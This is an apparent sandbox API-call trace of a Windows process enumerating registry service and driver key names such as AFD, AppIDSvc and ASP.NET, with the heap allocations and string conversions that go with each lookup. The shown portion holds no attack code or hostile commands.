WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0254.872] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0254.872] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x21f1a48, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpu320", lpUsedDefaultChar=0x0) returned 7 [0254.872] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.872] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0254.872] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.872] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.872] RegEnumKeyW (in: hKey=0x148, dwIndex=0xe, lpName=0x2152850, cchName=0x104 | out: lpName="adsi") returned 0x0 [0254.872] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.872] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0254.872] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.872] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x21f1a00, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adsi", lpUsedDefaultChar=0x0) returned 4 [0254.872] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0254.872] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.872] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0254.872] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.872] RegEnumKeyW (in: hKey=0x148, dwIndex=0xf, lpName=0x2152850, cchName=0x104 | out: lpName="AeLookupSvc") returned 0x0 [0254.872] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.872] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0254.873] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0254.873] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x21f1a48, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aelookupsvc", lpUsedDefaultChar=0x0) returned 11 [0254.873] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.873] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0254.873] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.873] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.873] RegEnumKeyW (in: hKey=0x148, dwIndex=0x10, lpName=0x2152850, cchName=0x104 | out: lpName="AFD") returned 0x0 [0254.873] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.873] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0254.873] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.873] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x21f1a00, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="afd", lpUsedDefaultChar=0x0) returned 3 [0254.873] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0254.873] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.873] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0254.873] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.873] RegEnumKeyW (in: hKey=0x148, dwIndex=0x11, lpName=0x2152850, cchName=0x104 | out: lpName="agp440") returned 0x0 [0254.873] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.873] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0254.873] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0254.873] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x21f1a48, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="agp440", lpUsedDefaultChar=0x0) returned 6 [0254.873] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.873] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0254.873] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.873] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.873] RegEnumKeyW (in: hKey=0x148, dwIndex=0x12, lpName=0x2152850, cchName=0x104 | out: lpName="ALG") returned 0x0 [0254.873] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.873] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0254.873] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.873] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x21f1a00, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alg", lpUsedDefaultChar=0x0) returned 3 [0254.873] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0254.873] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.873] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0254.874] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.874] RegEnumKeyW (in: hKey=0x148, dwIndex=0x13, lpName=0x2152850, cchName=0x104 | out: lpName="aliide") returned 0x0 [0254.874] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.874] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0254.874] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0254.874] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x21f1a48, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aliide", lpUsedDefaultChar=0x0) returned 6 [0254.874] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.874] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0254.874] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.874] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.874] RegEnumKeyW (in: hKey=0x148, dwIndex=0x14, lpName=0x2152850, cchName=0x104 | out: lpName="amdide") returned 0x0 [0254.874] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.874] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0254.874] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.874] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x21f1a00, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdide", lpUsedDefaultChar=0x0) returned 6 [0254.874] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0254.874] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.874] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0254.874] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.874] RegEnumKeyW (in: hKey=0x148, dwIndex=0x15, lpName=0x2152850, cchName=0x104 | out: lpName="AmdK8") returned 0x0 [0254.874] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.874] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0254.874] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0254.874] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x21f1a48, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdk8", lpUsedDefaultChar=0x0) returned 5 [0254.874] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.874] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0254.874] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.874] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.874] RegEnumKeyW (in: hKey=0x148, dwIndex=0x16, lpName=0x2152850, cchName=0x104 | out: lpName="AmdPPM") returned 0x0 [0254.874] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.874] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0254.874] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.874] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x21f1a00, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdppm", lpUsedDefaultChar=0x0) returned 6 [0254.875] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0254.875] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.875] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0254.875] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.875] RegEnumKeyW (in: hKey=0x148, dwIndex=0x17, lpName=0x2152850, cchName=0x104 | out: lpName="amdsata") returned 0x0 [0254.875] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.875] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0254.875] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0254.875] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x21f1a48, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsata", lpUsedDefaultChar=0x0) returned 7 [0254.875] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.875] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0254.875] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.875] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.875] RegEnumKeyW (in: hKey=0x148, dwIndex=0x18, lpName=0x2152850, cchName=0x104 | out: lpName="amdsbs") returned 0x0 [0254.875] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.875] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0254.875] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.875] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x21f1a00, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsbs", lpUsedDefaultChar=0x0) returned 6 [0254.875] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0254.875] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.875] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0254.875] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.875] RegEnumKeyW (in: hKey=0x148, dwIndex=0x19, lpName=0x2152850, cchName=0x104 | out: lpName="amdxata") returned 0x0 [0254.875] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.875] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0254.875] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0254.875] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x21f1a48, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdxata", lpUsedDefaultChar=0x0) returned 7 [0254.875] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.875] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0254.875] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.875] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.875] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1a, lpName=0x2152850, cchName=0x104 | out: lpName="AppID") returned 0x0 [0254.876] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.876] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0254.876] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.876] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x21f1a00, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appid", lpUsedDefaultChar=0x0) returned 5 [0254.876] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0254.876] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.876] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0254.876] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.876] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1b, lpName=0x2152850, cchName=0x104 | out: lpName="AppIDSvc") returned 0x0 [0254.876] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.876] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0254.876] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0254.876] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appidsvc", lpUsedDefaultChar=0x0) returned 8 [0254.876] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.876] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0254.876] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.876] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.876] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1c, lpName=0x2152850, cchName=0x104 | out: lpName="Appinfo") returned 0x0 [0254.876] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.876] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0254.876] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.876] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appinfo", lpUsedDefaultChar=0x0) returned 7 [0254.876] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0254.876] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.876] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0254.876] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.876] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1d, lpName=0x2152850, cchName=0x104 | out: lpName="AppMgmt") returned 0x0 [0254.876] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.876] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0254.876] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0254.876] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x21f1a48, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appmgmt", lpUsedDefaultChar=0x0) returned 7 [0254.876] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.877] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0254.877] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.877] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.877] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1e, lpName=0x2152850, cchName=0x104 | out: lpName="arc") returned 0x0 [0254.877] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.877] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0254.877] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.877] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x21f1a00, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arc", lpUsedDefaultChar=0x0) returned 3 [0254.877] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0254.877] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.877] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0254.877] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.877] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1f, lpName=0x2152850, cchName=0x104 | out: lpName="arcsas") returned 0x0 [0254.877] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.877] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0254.877] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0254.877] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x21f1a48, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arcsas", lpUsedDefaultChar=0x0) returned 6 [0254.877] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.877] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0254.877] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.877] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.877] RegEnumKeyW (in: hKey=0x148, dwIndex=0x20, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET") returned 0x0 [0254.877] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.877] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0254.877] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.877] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net", lpUsedDefaultChar=0x0) returned 7 [0254.877] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0254.877] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.877] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0254.877] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.877] RegEnumKeyW (in: hKey=0x148, dwIndex=0x21, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET_4.0.30319") returned 0x0 [0254.877] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.878] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0254.878] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0254.878] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x21f1a48, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net_4.0.30319", lpUsedDefaultChar=0x0) returned 17 [0254.878] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.878] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0254.878] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, 